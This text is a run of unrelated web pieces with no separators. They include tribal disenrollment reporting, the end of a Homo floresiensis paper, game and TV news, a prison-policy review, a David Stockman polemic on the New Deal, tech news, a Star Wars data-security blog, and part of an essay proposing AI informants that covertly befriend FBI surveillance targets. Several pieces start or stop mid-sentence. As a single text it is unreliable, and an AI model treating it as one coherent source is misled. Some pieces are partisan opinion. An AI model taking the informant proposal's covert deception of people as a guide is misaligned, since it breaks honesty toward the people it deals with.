Russia at http://www.forum18.org/Archive.php?article_id=2246, and of the dramatic decline in this freedom related to Russia's Extremism Law at http://www.forum18.org/Archive.php?article_id=2215 A personal commentary by Alexander Verkhovsky, Director of the SOVA Center for Information and Analysis http://www.sova-center.ru, about the systemic problems of Russian anti-extremism legislation, is at F18News 19 July 2010 http://www.forum18.org/Archive.php?article_id=1468 A personal commentary by Irina Budkina, Editor of the http://www.samstar.ucoz.ru Old Believer website, about continuing denial of equality to Russia's religious minorities, is at F18News 26 May 2005 http://www.forum18.org/Archive.php?article_id=570 More reports on freedom of thought, conscience and belief in Russia can be found at http://www.forum18.org/Archive.php?query=&religion=all&country=10 A compilation of Organisation for Security and Co-operation in Europe (OSCE) freedom of religion or belief commitments can be found at http://www.forum18.org/Archive.php?article_id=1351 A printer-friendly map of Russia is available at http://nationalgeographic.org/education/mapping/outline-map/?map=Russia Twitter: @Forum_18Follow us on Facebook: @Forum18NewsServiceAll Forum 18 material may be referred to, quoted from, or republished in full, if Forum 18 is credited as the source.Two days after the meeting, the tribal council began sending out letters notifying affected members that unless they could provide proof of their legitimacy, they would be disenrolled in 30 days. Word and shock spread quickly through the small, tight-knit reservation. The disenrollees, now calling themselves “the Nooksack 306,” hired a lawyer and vowed to contest their expulsion. “I told ’em, ‘I know where I belong no matter what you say,’ ” an 80-year-old woman who, in her youth, had been punished for “speaking Indian” at school, said. “ ‘You can’t make me believe that I’m not.’ ”
The Nooksacks who want the 306 out of the tribe say they are standing up for their very identity, fighting for the integrity of a tribe taken over by outsiders. “We’re ready to die for this,” Kelly would later say. “And I think we will, before this is over.”
Outside the lands legally known as “Indian Country,” “membership” and “enrollment” are such blandly bureaucratic words that it’s easy to lose sight of how much they matter there. To the 566 federally recognized tribal nations, the ability to determine who is and isn’t part of a tribe is an essential element of what makes tribes sovereign entities. To individuals, membership means citizenship and all the emotional ties and treaty rights that come with it. To be disenrolled is to lose that citizenship: to become stateless. It can also mean the loss of a broader identity, because recognition by a tribe is the most accepted way to prove you are Indian — not just Nooksack but Native American at all.
Efforts to define Native American identity date from the earliest days of the colonies. Before the arrival of white settlers, tribal boundaries were generally fluid; intermarriages and alliances were common. But as the new government’s desire to expand into Indian Territory grew, so, too, did the interest in defining who was and who wasn’t a “real Indian.” Those definitions shifted as the colonial government’s goals did. “Mixed blood” Indians, for example, were added to rolls in hopes that assimilated Indians would be more likely to cede their land; later, after land claims were established, more restrictive definitions were adopted. In the 19th century, the government began relying heavily on blood quantum, or “degree of Indian blood,” wagering that, over generations of intermarriage, tribes would be diluted to the point that earlier treaties would not have to be honored. “ ‘As long as grass grows or water runs’ — a phrase that was often used in treaties with American Indians — is a relatively permanent term for a contract,” the Ojibwe author David Treuer wrote in a 2011 Op-Ed for The Times. “ ‘As long as the blood flows’ seemed measurably shorter.”
Even for those early rolls, though, determining blood quantum was tricky; it was not a measure that tribal people used or something they kept track of. Government agents compiling base rolls in the 1800s sometimes simply guessed at the percentage of Indian blood; at the time, anthropologists used feet and hair width as a “scientific” test of blood degree in indigenous tribes. Many traditionalist Indians, known as “irreconcilables” or “blanket Indians,” were so suspicious of the government that they refused to be enrolled at all, making all their descendants unenrollable as well. In 1988 the historian Kent Carter coined a half-joking term for the millions who claim Indian ancestry but who, for a variety of reasons, don’t sort neatly into today’s official boxes: people with mixed tribal heritage; people whose ancestors were denied recognition by early government agents or died before registration was complete; people whose tribes, in the face of the federal government’s attempts to extinguish them, didn’t maintain the cohesion that same government would later require for recognition. Carter called them the “outalucks.”
Contemporary Indian identity is refracted through a tangled accumulation of 18th- and 19th-century understandings of biology and race, as well as several centuries’ worth of conflicting federal policies. The Constitution uses the word “Indian” twice but never bothers to define it. A congressional survey in 1978 found that, in addition to the different requirements used by tribes and individual states, federal legislation defined Native Americans in at least 33 ways. In 2005, one frustrated judge, quoting an earlier decision, described the legal definitions of Indian-ness as “ ‘a complex patchwork of federal, state and tribal law,’ which is better explained by history than by logic.” Given the web of criteria, courts are sometimes called upon to decide whether individuals, or even tribes, are “authentically” Indian. This has led to weighing things like whether twenty-nine 128ths constitutes a “significant degree” of Indian blood (a federal court ruled in 2009 that it did); whether someone who was “Indian in an anthropological or ethno-historical sense” was also Indian for the purposes of criminal jurisdiction if his tribe isn’t federally recognized (the Ninth Circuit Court of Appeals decided he was not); and whether behaviors like eating fast food |
evolution from early Javanese H. erectus to H. floresiensis was possible in terms of brain size. Still, in this scenario, some amount of the brain size reduction remains to be explained by factors other than body size scaling, posing a challenge to our current knowledge about human brain size evolution. If H. floresiensis descended from H. habilis-like ancestor, the need for such relative brain size reduction is less significant, but we stress currently we have no convincing fossil evidence to support this hypothesis except for the brain size issue discussed here. Then which hypothesis is more correct? The question will be answered most effectively by future discoveries of skeletal evidence for the first hominins to colonize Flores [58].
Acknowledgements We thank E. Wahyu Saptomo, Thomas Sutikna, Jatmiko, Mike J. Morwood, other Liang Bua research team members and Hisao Baba for support, John de Vos, Shozo Iwanaga and Kyoko Funahashi for access to the materials under their care, Tsuyoshi Kaneko, Nobuhito Morota and anonymous reviewers for comments, and Gen Suwa for CT scanning. This work was supported by grants from the JSPS (no. 24247044) and MEXT, Japan (no. 22101006).
FootnotesEvery two weeks, a team of Fine Woodworking staffers answer questions from readers on Shop Talk Live, Fine Woodworking’s biweekly podcast. Send your woodworking questions to shoptalk@taunton.com for consideration in the regular broadcast!
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Shop Talk Live 24: Wicked Weapon for Terrific Tenons
On this week’s edition of Shop Talk Live, editor Asa Christiana and senior web producer Ed Pirnik are down a man, as the 2013 cold and flu season hits Fine Woodworking hard. No worries though, Asa and Ed take a selection of questions on thickness planer technology, building a traditional workbench with minimal tools, and much more. Plus, Ed sings the praises of his new favorite tool for tenoning.
Links from this Week’s Show
Segmented Cutterheads Change the Game
A Slick Tenoning Jig
Ed’s Tenoning Jig
Strengthen Cope and Stick Joints with Dowels
Easy Finish Ages Classic Cherry Piece
Is it a Waterstone or an Oil Stone
Sign up for eletters today and get the latest techniques and how-to from Fine Woodworking, plus special offers. Sign UpShare. Bringing the retail cost in line with the digital. Bringing the retail cost in line with the digital.
Konami has announced that Metal Gear Solid: Ground Zeroes will now cost less at retail for PS4 and Xbox One.
The next-gen versions of the upcoming title will now cost £29.99 rather than £39.99, so they'll match the cost of the digital editions, as well as the retail price for the PS3 and Xbox 360 versions.
Exit Theatre Mode
The digital version of the game on both PS3 and Xbox 360 remains unchanged at £19.99.
Last week, Konami revealed the resolutions and frame-rates for all versions of the upcoming stealth adventure. The PS4 version runs at 1080p and 60fps, while the Xbox One version runs natively at 720p and 60fps. On the older consoles, Ground Zeroes runs at an upscaled 720p and 30fps.
Following this, the studio confirmed that a limited edition PS4 console would be released to coincide with the release of Ground Zeroes. It looks pretty snazzy. If you're still unsure which platform you fancy getting the game on, a handy comparison video has also been released showing all the versions running at once.
Luke Karmali is IGN's UK Junior Editor. You too can revel in mediocrity by following him on Twitter.WEST MONROE, La., Nov. 17 (UPI) — After five years and 11 seasons, A&E’s longest-running reality show, Duck Dynasty, is ending following its current season.
The series follows the Robertson family and their business in Louisiana manufacturing products for duck hunters.
The Robertson family announced in a video Wednesday that the current 11th season would be their last.
“We decided as a family for this to be the final chapter of the Duck Dynasty series,” Jase Robertson said.
The reality show premiered in 2012 and in 2013 became the most-watched reality series in cable history. The series was temporarily banned from the airwaves that same year after family patriarch Phil’s anti-gay remarks went viral.
The current and final season is set to air its last episode on April 12.Just in time for the opening of Parliament, a new book entitled A Plague of Prisons has landed in Canada. It tells the story of the “mass incarceration” of Americans over the past 30 years, showing how it has torn families apart, exacerbated racial tensions, drained state treasuries and fostered a culture of violence and vengeance. The author, Ernest Drucker, an epidemiologist at The City University of New York, begins his tale with the passage of tough new state sentencing laws in 1973. Nelson Rockefeller, the governor of the day, was determined to get drug dealers off New York’s streets. He persuaded the legislature to enact mandatory prison sentences, requiring judges to send lawbreakers convicted of selling two ounces of “narcotic drugs” to jail for at least 15 years and stripping them of any discretion to take into account extenuating circumstances. Over the next 25 years, New York’s prison population increased fivefold. Other states quickly jumped on the wagon, imposing evermore onerous sentences on non-violent criminals. The hunger to punish reached its apex in 1994, when California enacted its Three Strikes and You’re Out law, requiring sentences of 25 years to life for three-time offenders. Individuals caught shoplifting or stiffing a contractor became old men behind bars.
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These policies were popular among angry, anxious voters. But they did not produce any reduction in the drug trade, nor did they prevent crime. Between 1980 and 2009, America’s prison population quintupled. It now has the highest rate of incarceration in the world (715 inmates per 100,000 people). What makes all this relevant to Canadians in September of 2011 is that Prime Minister Stephen Harper is poised to embark on the same path the U.S. took a generation ago. Shortly after the opening of Parliament, his government will introduce a package of 12 tough crime bills. They’re guaranteed to become law; the Conservatives now have a majority in both the House of Commons and Senate.
Harper’s legislation is not as draconian as Rockefeller’s. It would require Canadian judges to impose a mandatory one-year sentence for possession of heroin, cocaine or methamphetamine with the intention of trafficking (two years if a weapon or threat of violence is involved) and a six-month to three-year sentence for selling recreational marijuana. But it springs from the same crackdown mentality and taps into the same belief that harsh punishment reduces crime. What makes Drucker’s book compelling is not the statistics he presents; most of them are well known. It is the way he traces the explosion of America’s prison population back to one politician’s gut-driven policies and the way he uses his skills as a clinical psychologist to track the consequences on the streets of Harlem and the South Bronx. Drucker wrote his analysis as a wake-up call to his fellow Americans, not as a warning to Canada. But it offers readers on this side of the border a foretaste of what lies ahead if Harper ignores the advice of everyone from health-care professionals to toppled media magnate Conrad Black, who has seen the American justice system from the inside. Assuming the Prime Minister goes ahead, here is what Canadians can expect:
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• An exponential growth in prisons. The Conservatives have refused to provide taxpayers with a credible estimate of how much they plan to spend on penitentiaries. It won’t be as costly as the American crackdown, which threatens to bankrupt several states, but the bills will keep mounting long after Harper’s departure. • A deterioration of the social structures that communities need to prevent crime. • A disproportionate increase in the number of poor, non-white people behind bars. • A belated recognition that there was never any evidence tougher sentences improve public safety. • And over time, a made-in-Ottawa “plague of prisons.” Is this the legacy we want for our children? Is it the future we want for Canada? Carol Goar’s column appears Monday, Wednesday and Friday.
Read more about:by David Stockman
From David Stockman’s Contra Corner. Remarks to the Committee For The Republic, Washington DC, February 2014 (Part 4 in a 6-Part Series) Go to Part 1.
The Great Depression thus did not represent the failure of capitalism or some inherent suicidal tendency of the free market to plunge into cyclical depression—absent the constant ministrations of the state through monetary, fiscal, tax and regulatory interventions. Instead, the Great Depression was a unique historical occurrence—the delayed consequence of the monumental folly of the Great War, abetted by the financial deformations spawned by modern central banking.
But ironically, the “failure of capitalism” explanation of the Great Depression is exactly what enabled the Warfare State to thrive and dominate the rest of the 20th century because it gave birth to what have become its twin handmaidens—-Keynesian economics and monetary central planning. Together, these two doctrines eroded and eventually destroyed the great policy barrier—-that is, the old-time religion of balanced budgets— that had kept America a relatively peaceful Republic until 1914.
To be sure, under Mellon’s tutelage, Harding, Coolidge and Hoover strove mightily, and on paper successfully, to restore the pre-1914 status quo ante on the fiscal front. But it was a pyrrhic victory—since Mellon’s surpluses rested on an artificially booming, bubbling economy that was destined to hit the wall.
The Hoover Recovery of 1932
Worse still, Hoover’s bitter-end fidelity to fiscal orthodoxy, as embodied in his infamous balanced budget of June 1932, got blamed for prolonging the depression. Yet, as I have demonstrated in the chapter of my book called “New Deal Myths of Recovery”, the Great Depression was already over by early summer 1932.
At that point, powerful natural forces of capitalist regeneration had come to the fore. Thus, during the six month leading up to the November 1932 election, freight loadings rose by 20 percent, industrial production by 21 percent, construction contract awards gained 30 percent, unemployment dropped by nearly one million, wholesale prices rebounded by 20 percent and the battered stock market was up by 40 percent.
So Hoover’s fiscal policies were blackened not by the facts of the day, but by the subsequent ukase of the Keynesian professoriat. Indeed, the “Hoover recovery” would be celebrated in the history books even today if it had not been interrupted in the winter of 1932-1933 by a faux “banking crisis” which was entirely the doing of President-elect Roosevelt and the loose-talking economic statist at the core of his transition team, especially Columbia professors Moley and Tugwell.
The Pre-1933 Banking Failures Were Caused By Insolvency
The truth of the so-called banking crisis is that the artificial economic boom of 1914-1929 had generated a drastic proliferation of banks in the farm country and in the booming new industrial centers like Chicago, Detroit, Youngtown and Toledo, along with vast amounts of poorly underwritten debt on real estate and businesses.
When the bubble burst in 1929, the financial system experienced the time-honored capitalist cure—-a sweeping liquidation of bad debts and under-capitalized banks. Not only was this an unavoidable and healthy purge of economic rot, but also reflected the fact that the legions of banks which failed were flat-out insolvent and should have been closed.
Indeed, 10,000 of the 12,000 banks shuttered during the years before 1933 were tiny rural banks located in communities of less than 2,500. Most had been chartered with trivial amounts of capital under lax state banking laws, and amounted to get-rich-quick schemes which proliferated during the export boom.
Indeed, a single startling statistic puts paid to the whole New Deal mythology that FDR rescued the banking system after a veritable heart attack: to wit, losses at failed US banks during the entire 12-year period ending in 1932 amounted to only 2-3 percent of deposits. There never was a sweeping contagion of failure in the banking system.
Milton Friedman’s Huge Error: The Fed Did Not Cause the Bank Runs of 1930-1933
Nor did the Fed’s alleged failure to undertake a massive bond-buying program in 1930-1932 to pump cash into the banking system constitute the monumental monetary policy error that Milton Friedman so dogmatically claimed, and which has become the raison d’etre of contemporary central banking.
In fact, fifty years after the fact, Bubbles Ben 2.0 essentially zeroxed the errors in Friedman’s treatise and got awarded a PhD for this tommyrot by Professor Stanley Fischer of MIT, who Obama has now seen fit to make Vice-Chairman of the Fed. Bernanke then passed himself off as a scholar of the Great Depression and a Friedman disciple, thereby bamboozling the ever gullible Bush White House into appointing a rank money-printer and Keynesian to head the Fed.
Bernanke then proceeded to follow Friedman’s bad advice about 1932 and flooded the banking system with money during the so-called financial crisis, and thereby bailed out the rot on Wall Street instead of purging it as the Board of Governors had the good sense to do in the early 1930s.
But…I digress—slightly!
In fact, it is important to refute the scary bedtime stories that have been handed down about the pre-New Deal banking crisis because they are the predicate for the Fed’s current lunacy of QE, ZIRP and massive monetization of the public debt, which, in turn, enables the perpetual deficit finance on which the Warfare State vitally depends.
The Unnecessary February 1933 Bank Panic: FDR’s 10-Day Fumble
In truth, the banking liquidation was over by Election Day, failures and losses had virtually disappeared, and as late as the first week of February 1933, according the Fed’s daily currency reports, there were no unusual demands for cash.
The legendary “bank runs” occurred almost entirely during the last two weeks before FDR’s inauguration. The trigger was Henry Ford’s vicious spat with his former partner and then Michigan Senator, James Couzens, over responsibility for the failure of a go-go banking group in Detroit that had been started by his son Edsel and Goldman Sachs. Always Goldman!
The hapless Herbert Hoover secretly wrote FDR begging him to cooperate in resolving the Michigan banking crisis. Instead, Roosevelt failed to answer the President’s letter for two weeks; lost Carter Glass as his Treasury Secretary because the President-elect refused to affirm his commitment to the sound money platform on which he had campaigned; and allowed Tugwell to leak to the press a radical plan to reflate the economy by reneging on the dollar’s 100-year old linkage to one-twentieth ounce of gold.
Within days there was a massive run on gold at the New York Fed and a scramble for cash at teller windows across the land. Unlike historians today, citizens back then knew that the Fed could not legally issue more currency unless it had 40 percent gold-backing—hence the sudden outbreak of currency hoarding.
In this context, the daily figures for currency outstanding give ringing evidence of FDR’s culpability for the midnight-hour run on the banks. After rising by a trivial $8 million per day in early in the month, cash outstanding rose by $200 million per day by late February and by a staggering half billion dollars on the day before the FDR’s inauguration. All told, 80 percent of the increase in currency outstanding—from $5.6 billion to $7.5 billion—occurred in the last ten days before FDR took office.
Then, even more fantastically, nearly all of the hoarded cash flowed back into the banking system on its own when 95 percent of the banks were re-opened in an “as is, where is” condition during the three weeks after FDR’s inauguration. Moreover, the mass re-opening scheme was actually drafted and executed by Hoover hold-overs at the Treasury, and had been completely accomplished before the heralded banking reforms of the New Deal and deposit insurance had even had Congressional hearings.
In short, the banking system never did really collapse and the true problem was bad debt and insolvency—not Fed errors or an existential crisis of capitalism.
New Deal: Political Gong Show
Beyond that, the New Deal was a political gong show that amounted to a grab-bag of statist gimcrack. The mild fascism of the NRA and AAA caused the economy to further contract, not recover. The legendary WPA cycled violently between 1 million make-work jobs in the off-years and 3 million make-vote jobs in the election years—-before even a Democratic Congress was compelled to shut it down in a torrent of corruption in 1939.
Likewise, the TVA was a senseless boondoggle and environmental curse; the Wagner Act paved the way for the kind of coercive, monopolistic industrial unionism that resulted in “Rust Bucket America” five decades later; and the legacy of New Deal housing stimulants like Fannie Mae speaks for itself.
Finally, universal social insurance enacted in 1935 was actually a fiscal doomsday machine. When in the context of modern political democracy the state offers universal transfer payments to its citizenry without proof of need it thereby offers to bankrupt itself—eventually.
To be sure, during the middle 1930s, the natural rebound of the nation’s capitalist economy continued where the Hoover Recovery left off— notwithstanding the New Deal headwinds. Yet the evidence that FDR’s policies retarded recovery screams out of the last year of pre-war data for 1939: GDP at $90 billion was still 12 percent below 1929, while manufacturing value added was off by 20 percent and business investment by 40 percent.
Most telling of all was private non-farm man-hours worked: the 1939 level was still 15 percent lower than what the BLS recorded in 1929.
How FDR Torpedoed Recovery and Sowed the Seeds of Autarky, Rearmament, Revanchism and War
So the New Deal did nothing to help the domestic economy. But FDR did personally torpedo world recovery and paved the way toward WWII with his so-called “bombshell” message to the London Economic Conference in July 1933. The latter had been the world’s last best hope for rescue of the failed task of post-war resumption. Specifically, the conferees had shaped a plan for restoring convertibility by means of pegging the pound sterling at a lower exchange rate to the dollar and gold, thereby alleviating the beggar-thy-neighbor pressure on the remaining gold standard countries like France, the Netherlands and Sweden.
In turn, monetary stabilization would pave the way for reduction of Smoot-Hawley instigated tariff barriers and the restoration of global trade and capital flows.
The American delegation led by the magnificent statesman, Cordell Hall, had molded a tentative agreement among the British and French, and thereby had attained a crucial inflection point in the post-war struggle for resumption of the old international order. Yet FDR defied his advisors to the very last man, including the nationalistic and protectionist-minded Raymond Moley, who the President had sent to London as his personal emissary.
Roosevelt’s message, penned by moonlight on the luxurious yacht of his chum, Vincent Astor, was undoubtedly the most intemperate, incoherent and bombastic communique ever publicly issued by a US President. It not only stunned the assembled world leaders gathered in London and killed the monetary stabilization agreement on the spot, but it also locked in a destructive worldwide regime of economic nationalism and autarky.
Accordingly, high tariffs and trade subsidies, state-dominated recovery and rearmament programs and manipulated currencies became universal after the London Conference failed, leaving international financial markets demoralized and chaotic.
The irony was that the Great Depression was the step-child of the Great War. American entry had unnecessarily extended it; had greatly amplified its destructive impact on the liberal international order; and had contributed a witch’s brew of Wilsonian nostrums to a Carthaginian peace that laid the planking for a new world war. FDR then delivered the coup de grace, extinguishing the last hope for resumption and insuring that autarky, revanchism and rearmament would hurtle the world to an even greater eruption of carnage, and an even more debilitating rendition of the Warfare State.
Go to Part 5.Boone, Ia. — Michele Bachmann read this statement but took no questions this evening in response to her Iowa campaign chairman’s defection tonight to the Ron Paul campaign:
“It’s clear that this was a deliberate move by the Ron Paul campaign to discredit our campaign and our growing momentum. Ron Paul is in trouble in Iowa and his campaign is worried about people learning about his dangerous stance on foreign policy and how he will make America less safe.
“Kent Sorenson personally told me he was offered a large sum of money to go to work for the Paul campaign. Kent campaigned with us earlier this afternoon and went immediately afterward to a Ron Paul event and announced he is changing teams. Kent said to me yesterday that ‘everyone sells out in Iowa, why shouldn’t I,’ then he told me he would stay with our campaign. The Ron Paul campaign has to answer for its actions.
“We are almost through with our 99 county tour and have seen overwhelming support all across Iowa. This is clearly an effort on the part of the Paul campaign to throw cold water on our growing momentum.
“We are thrilled to announce that State Senator Brad Zaun is now Iowa Chairman of our campaign. He has tremendous respect across the state and he has worked tirelessly for our campaign. I am proud to have him as our State Chairman.”
Recommended PhotosFacebook has released a library of C++ software components used to help run its site, the social networking company announced Saturday.
By releasing this library, called Folly, Facebook will be able to release more of its internal programs as open source, because they rely on different components in this library.
"One clear bottleneck to releasing more work has been that any open sourced project needed to break dependencies on unreleased internal library code," wrote Facebook software engineer Jordan DeLong, who posted an entry on Facebook announcing the release.
Facebook engineers also announced the release at a C++ conference the company is holding Saturday at its campus at Menlo Park, California.
Facebook has relied on open-source software, such as MySQL, PHP and memcached, to run its sites. And so the company has made a point of releasing its own internal programs as open-source software as well, such as the HipHop PHP compiler and the Thrift service sharing framework.
For many of its open source releases though, Facebook developers have had to rewrite some of the functionality that was borrowed from this library. By releasing the library itself, Facebook will be able to "continue open sourcing parts of [its] stack without resorting to reinventing... internal wheels," DeLong wrote.
Even if developers don't plan on using Facebook developed applications, they should still take a look at this library, as it includes many utilities of possible to use in other environments, DeLong said. Many of the components available in Folly run more quickly than their equivalents available elsewhere, he boasted. "Our motivation was to build components that were faster and more efficient than what we previously used," he wrote. These utilities were designed to be used in heavy production environments, across thousands of servers.
The components cover a range of functionality. One component was designed to use memory more efficiently. Another reduces contention. The AtomicHashMap utility cuts the amount of time a piece of data in memory is locked by an operation, which can slow performance and cause bottlenecks in heavily used environments. A set of string manipulation components use fewer CPU cycles than formatters in other C++ libraries, DeLong boasted.
The Folly library is posted on GitHub, and Facebook will add new components as they are written, according to DeLong.
Joab Jackson covers enterprise software and general technology breaking news for The IDG News Service. Follow Joab on Twitter at @Joab_Jackson. Joab's e-mail address is Joab_Jackson@idg.comBeing too beautiful has turned out to be a curse for one London woman as she claims that her good looks prevent her from keeping employement.
33-year-old Laura Fernee is no academic slouch, she has an earned doctorate in science, and she is surely qualified for employment in her scientific discipline; however, she says her appearance–slim figure, attractive face and glossy hair made her a target for sleazy advances from male colleagues and bitchiness from jealous females, according to a Daily Mirror report.
“It’s not my fault… I can’t help the way I look”, Fernee defends why she hasn’t worked in two years. “I’m not lazy and I’m no bimbo.”
Apparently, the attention she got from men at her medical research job–being asked out for dates and finding romantic gifts on her desk, was too much for Dr. Fernee.
“Male colleagues were only interested in me for how I looked. I wanted them to recognise my achievements and my professionalism but all they saw was my face and body,” she said.
“Even when I was in a laboratory in scrubs with no make-up they still came on to me because of my natural attractiveness. There was nothing I could do to stop it.”
Fernee also says her fellow female counterparts at work were jealous of her beauty, causing them to hate her.
So now that she doesn’t work and gave up her nearly $50,000 salary in the lab, how does the 33-year-old Ms. Fernee support herself?
You guessed it…Mom and Dad.
According to a Daily Mail report, Miss Fernee’s parents – Catherine, 65, and Alan, 70 – inherited money from Laura’s grandfather, and now pay £2,000 a month in rent and bills for her flat in Notting Hill, London, as well as picking up her credit card payments.
That’s not all. They also shell out £1,500 a month for her designer clothes, shoes and handbags, and £700 on haircuts.
Miss Fernee pays £80 a week to work out at the gym and spends £1,000 a month on socializing.
Lazy, conceited, abused, cursed. What do you think?News » New Jersey OK’s MMJ on Preserved Farms
The New Jersey State Agriculture Development Committee says that medical marijuana counts as a farm crop under NJ law and thus can be grown on preserved farms and agricultural land. The clarification comes despite Upper Freehold Township residents who oppose the growing of medical cannabis in their area.
New Jersey’s sole recognized grower, Breakwater Alternative Treatment Center, is looking at five properties in Upper Freehold as sites for growing MMJ and some of those are preserved farms, thus leading to the need for clarification. The only restriction in NJ for growing cannabis is that it cannot be on farms and lands for the federal Farm and Ranchland Protection Program funding, which includes only about 140 preserved farms of a total of 2,000. The federal program would cease funding the lands of medical cannabis were grown there, the SADC says.
Marijuana grow ops would not be protected under the state’s Right to Farm Act, however, which specifically requires compliance with federal law. This means that MMJ growers do not receive the zoning breaks and protections from ordinance restrictions that other farms would.
Opponents, of course, were outraged with the decision and had articulate and thoughtful arguments against medical marijuana to offer. Things like:
“In my mind it still comes down to the bottom line, that it is against the federal law,” says Upper Freehold mayor LoriSue Mount. “Illegal is illegal. It’s plain and clear. If we don’t follow laws then where does that leave us?” (Umm.. free?)
One legitimate argument may be heard from farmers in the area, who say that the grow op will be hydroponic inside greenhouses, which are anathema to the point of the preserved farms initiative. “It’s going to be cement and it is going to be grown hydroponically,” says one farmer. “We as taxpayers and as farmers have put all this land aside for preserved farmland and open space, not so a company can come in and build something..”
That may be considered a valid point. Looking at this from someone who chooses to live rurally, I can say that using land set aside as preserved farms to build something that is exactly opposite of what most of us would think of as a “farm” is disingenuous. I would hope that the Breakwater Alternative Treatment Center would think about that when choosing a site. There are plenty of non-preserved sites available and it would seem best to choose one of those if possible in order to keep community goodwill on your side.
[source Asbury Park Press]
Tags: medical, MMJ, New Jersey**Before Proceeding, Please Note There Are Spoilers That Follow
After multiple viewings of Rogue One, it’s fun to take into consideration exterior concepts of the story beyond just characters or plot continuity. Data breaches have become a large-scale concern for many, and before our eyes, we possibly saw the largest data heist ever.
Rogue One: A Star Wars Story is praised for an inventive approach and fearless directing. From a Managed Service Provider (MSP) perspective, one thing is clear: The Empire’s lack of faith in backup security is disturbing. Yes, Lord Vader and the Empire could still be at large today if it weren’t for their fallen end points and in-house processes failing.
Storing Data on Physical Hardware
Even though this story takes place “A long time ago in a galaxy far, far away” it’s ridiculous to believe the empire does not have a cloud-based superstructure employed for their data. An organization of that scale operating (trillions?) end-points spanning from the Outer-Rim territories to the forest moon of Endor and they’re still using tapes?
The mistake here is relying on physical space and hardware to store backup data instead of utilizing a cloud solution. Offsite redundancy across multiple sites would have made it so the Empire could simply delete their files at the Scarif database.
Their Encryption Was Bad and They Should Feel Bad
Hours and minutes after we see the shuttle leave with the stolen Death Star plans, the Rebel Alliance is already looking through the entire file. In compliant regulatory standards, encryption for this kind of information is mandatory. Even if the data is stolen, encryption could have prevented the Rebellion from extracting anything at all. Putting an end to their new hope.
No Firewall?!?!
After the Alliance discovered they were not leaving the planet Scarif with a physical copy of the data, they audibled to plan B; Send the data through the Empire’s very own wireless transmission system. With a firewall in place, this would have made a wireless send extremely difficult for the Alliance.
Overconfidence
Darth Vader boarding the Corellian Cruiser and Tarkin destroying Scarif can’t undo their death star quandary. Luke Skywalker said it best in the Return of the Jedi “Your overconfidence is your weakness.” If only the Empire hired a virtual CIO to manage data backup and security, this story may have ended differently.On Tuesday, International Women’s Day, Wisconsin Representative Tammy Baldwin (D) introduced legislation designed to speed up the ratification of the Equal Rights Amendment (ERA).
The ERA is designed to explicitly prevent discrimination on the basis of sex. Congress passed the Amendment in 1972. Ratification by 38 states was required for the Amendment to become law, but the legislation fell three states short by the extended deadline of 1982.
However, because the deadline for ratification had already been extended from seven to ten years, this suggests Congress has the power to once again extend the deadline. Furthermore, Baldwin points to the 27th Amendment which deals with matters of congressional pay. It was ratified in 1992, 203 years after its initial submission.
The legislation that Baldwin has now introduced would specifically remove the deadline for ERA ratification and would state that upon ratification by three further states, the Amendment would be added to the Constitution.
More from Windy City Times:
“The ERA is intended to ensure equality for women and men in all areas of society,” said Baldwin. “It is an immediate and decisive remedy to end sex discrimination in federal and state laws and provides a clear benchmark for judicial interpretation. Achieving equality and justice for all in the United States is fundamental to our democratic principles, economic recovery, and continued leadership around the world. The intent of my resolution is simple: a path to equality for all Americans,” Baldwin said.
[...]
“With women comprising more than 50% of the workforce and serving this country on the fronts of two wars, it is time to end the discrimination based on sex that women still face in the United States,” said Jean Landweber, Wisconsin ERA Chair, United 4Equality. “I am proud of my Representative, Tammy Baldwin, for introducing this legislation to remove the arbitrary time limit that was imposed in1972 for ratification of the ERA. The time is right to achieve equality of rights by finishing what the brave women of the ’70s started,” Landweber said.
The 15 states still to ratify the bill include: Alabama, Arizona, Arkansas, Florida, Georgia, Illinois, Louisiana, Mississippi, Missouri, Nevada, North Carolina, Oklahoma, South Carolina, Utah, Virginia.
Notable of those is perhaps Virginia. The Virginia state Senate passed a resolution (SJ357) to ratify the ERA in February of 2011 but the House of Delegates companion bill (HJ640) was twice tabled in subcommittee.
The need for the ERA is perhaps best expressed by Supreme Court Justice Antonin Scalia’s recent statement saying that the 14th Amendment to the Constitution does not prevent sex discrimination and that a belief otherwise is a “modern invention.” While many would disagree with Scalia, this statement does “serve as an important reminder about the Court’s bitter divide on the issue of the scope of the 14th Amendment” as fellow blogger Jessica Pieklo wrote while commenting on Scalia’s argument.
For the latest on the ERA check equalrightsamendment.org
For more Care2 coverage of International Women’s Day, click here.
Photo adapted under the Creative Commons Attribution License, with thanks to Jay Inslee.Advertisement
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behavior—to deploy AITPs more precisely and effectively would require additional approvals under current policy. The FBI’s Sensitive Operations Review Committee (SORC) would have to authorize these efforts, and notify Congress whenever they take place.
Computers as Honest Brokers
Despite the fact that the use of AITPs would almost certainly be lawful and constitutional, privacy advocates might still raise objections to the tactics I propose. The main foreseeable points of contention would be the scalability of automated HUMINT operations and the longer allowable horizon for FBI assessments. Both of these aspects are unfortunately integral to my proposal. Despite their potential drawbacks, however, civil libertarians might see other benefits from the program. Automating surveillance against certain suspects could potentially help protect Americans from unlawful discrimination. Computer programs have no inherent racial or religious biases, although it is true to that they can reflect the biases of their designers, operators, or society at large. Instead of relying on the instincts—noble or otherwise—of investigators, the FBI could conduct its assessments in a strictly objective manner, judging AITP behavioral models by their success rates in leading to full investigations, arrests, and prosecutions. With such hard data, it would be very difficult for agents to justify the monitoring of individuals for any reason other than their disposition towards criminal behavior. Additionally, for those concerned about voyeuristic government employees eliciting personal secrets from unwitting targets on the Internet in the course of investigative efforts, it might mollify some to know that AITPs are soulless machines with no interest in salacious details.
Conclusion: Pushing the Limits of Policy and Technology
As former National Security Agency and Central Intelligence Agency Director Michael Hayden advocates in his recent book, national security professionals must “play to the edge.” To do so requires using all means available to protect America while never exceeding legal, constitutional, or ethical limits. Deploying artificially intelligent informants against people for whom there is not necessarily probable cause to suspect of wrongdoing—and who will most likely be American citizens—is sure to garner controversy. The problem of homegrown violent extremism, however, requires innovative tactical, technological, and policy solutions. Americans, as always, must strike an acceptable balance between privacy and security. Using rapidly advancing technologies such as artificial intelligence to monitor those susceptible to radicalization is one such way.
The views expressed in this article are those of the author and do not reflect the official policy or position of the United States GovernmentBut as Dr. Boyd sees it, adults are worrying about the wrong things.
Children today, she said, are reacting online largely to social changes that have taken place off line.
“Children’s ability to roam has basically been destroyed,” Dr. Boyd said in her office at Microsoft, where a view of the Boston skyline is echoed in the towers of books on her shelves, desk and floor. “Letting your child out to bike around the neighborhood is seen as terrifying now, even though by all measures, life is safer for kids today.”
